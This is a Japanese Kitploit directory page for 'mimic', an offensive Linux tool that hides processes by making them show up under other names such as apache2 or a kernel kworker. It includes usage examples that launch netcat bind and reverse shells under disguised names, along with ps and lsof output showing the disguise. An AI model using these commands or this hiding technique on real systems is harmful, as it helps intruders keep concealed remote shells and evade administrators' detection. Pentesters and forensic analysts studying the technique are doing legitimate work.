Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
mimic — Linuxで通常ユーザーとしてプロセスを隠す。 | Kitploit
ツール/GitHubGitHub/emptymonkey/mimic
IDS/IPS回避ペネトレーションテストレッドチーミング
GitHubemptymonkey/mimic

mimic

Linuxで通常ユーザーとしてプロセスを隠す。

リポジトリを見る
263512年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

mimic

mimic は、Linux x86_64 で隠密実行を行うためのツールです。

「covert execution」とは?

隠密実行とは、プロセスを隠す技術です。この場合、mimic はプロセスを目に見える場所に隠します。mimic は任意のプログラムを起動して、他のプログラムのように見せることができます。どのユーザーでも使用できます。特別な権限は必要ありません。特別なバイナリも必要ありません。ルートキットも必要ありません。

えっ?!特別な権限がいらないの?!

その通りです。mimic は、プロセスの内部構造を再構成することで、そのプロセスの /proc エントリを混乱させます。プロセスの性質を報告するすべてのツールは、/proc を調べることで行います。/proc を操作できれば、プロセスを目に見える場所に隠せます。自分が所有するプロセスの状態を変更するだけなので、誰でも mimic を正常に実行できます。

これは検出できますか?!

もちろんですが、それは非常に注意深く調べているか、この種のものを探すフォレンジックツールを実行している場合に限ります。mimic の有用性は、そもそも誰かに疑念を抱かせるのを防ぐことにあります。

これはスクリプトでも動作しますか?

はい、ただし、mimic をインタプリタに対して直接呼び出す必要があります。たとえば、スクリプトの最初の行が "#!/usr/bin/perl" の場合、mimic を次のように呼び出します:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

インタプリタを直接呼び出すことで、mimic はその魔法を発揮します。

mimic の対象ユーザーは誰ですか?

ルートを取得する前に正当に隠密実行を必要とするすべての人が対象です。これには以下が含まれますが、これに限定されません:

  • ペンテスター。
  • 隠密作戦を実行する捜査官(もちろん、法務部門および人事部門の事前承認を得た上で)。

なぜ "mimic" という名前なのですか?

なぜなら「嘘つき、嘘つき、/proc が燃えている!」では長すぎたからです。

"set_target_pid" とは何ですか?

set_target_pid は mimic スイートの小さなヘルパープログラムで、希望する PID が再利用されるまで PID を消費し尽くします。これにより、プロセスリストのどこにプロセスを配置するかを選択できます。カーネルは最初の 300 個の PID をカーネルスレッド用に予約していることに注意してください。それより小さい PID を指定しようとすると、おそらく PID 301 で実行されることになります。

使い方

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	Execute COMMAND.
	-m	Setup COMMAND to look like MIMIC.
			Default for non-root is:    "/usr/sbin/apache2 -k start"
			Default for root is:        "[kworker/0:0]"
	-b	Launch COMMAND in the background.
	-a	Add / overwrite KEY to the mimic environment with associated VALUE.
	-q	Be quiet! Do not print normal output.
	-h	Print this helpful message.

	Notes:
		The MIMIC environment will be a copy of the COMMAND environment.
		The '_' variable is automatically changed.
		The -a flag can be called multiple times to add / overwrite multiple variables.

	Examples:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

使用例

First example - Launching a netcat listener as a regular user:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

2つ目の例 - rootとしてnetcatリバースシェルを起動:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

偽のkworkerを見分けられますか?grepの助けがなければ見分けられますか?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

もちろん、kworkerがソケットを開いているはずはありませんが、きっとこれよりも創造的な名前の選択ができるでしょう。:)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

ここで root として実行しているのは、kworkerスレッドが非rootユーザーとして実行されていると非常に怪しいからです。新しいmimicの名前は単なる文字列です。既存のプロセスである必要はありません。いや、実際に存在するものである必要すらありません!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

インストール

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
ツールをダウンロード